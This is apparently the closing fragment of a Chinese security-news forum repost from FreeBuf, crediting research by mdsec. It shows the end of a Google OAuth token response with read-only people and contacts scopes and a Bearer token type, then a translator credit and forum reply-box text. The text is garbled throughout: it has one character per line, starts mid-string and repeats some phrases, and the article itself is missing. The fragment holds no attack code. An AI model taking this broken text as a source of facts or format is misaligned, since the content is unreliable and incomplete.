w
w
w
.
g
o
o
g
l
e
a
p
i
s
.
c
o
m
/
a
u
t
h
/
p
e
o
p
l
e
a
p
i
.
r
e
a
d
o
n
l
y
h
t
t
p
s
:
/
/
w
w
w
.
g
o
o
g
l
e
a
p
i
s
.
c
o
m
/
a
u
t
h
/
c
o
n
t
a
c
t
s
t
o
r
e
.
r
e
a
d
o
n
l
y
"
,
"
t
o
k
e
n
_
t
y
p
e
"
:
"
B
e
a
r
e
r
"
}
*
参
考
来
源
:
参
考
来
源
:
m
d
s
e
c
,
,
F
B
小
编
周
大
涛
编
译
,
转
载
请
注
明
来
自
小
编
周
大
涛
编
译
,
转
载
请
注
明
来
自
F
r
e
e
B
u
f
.
C
O
M
精
彩
推
荐
精
彩
推
荐
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页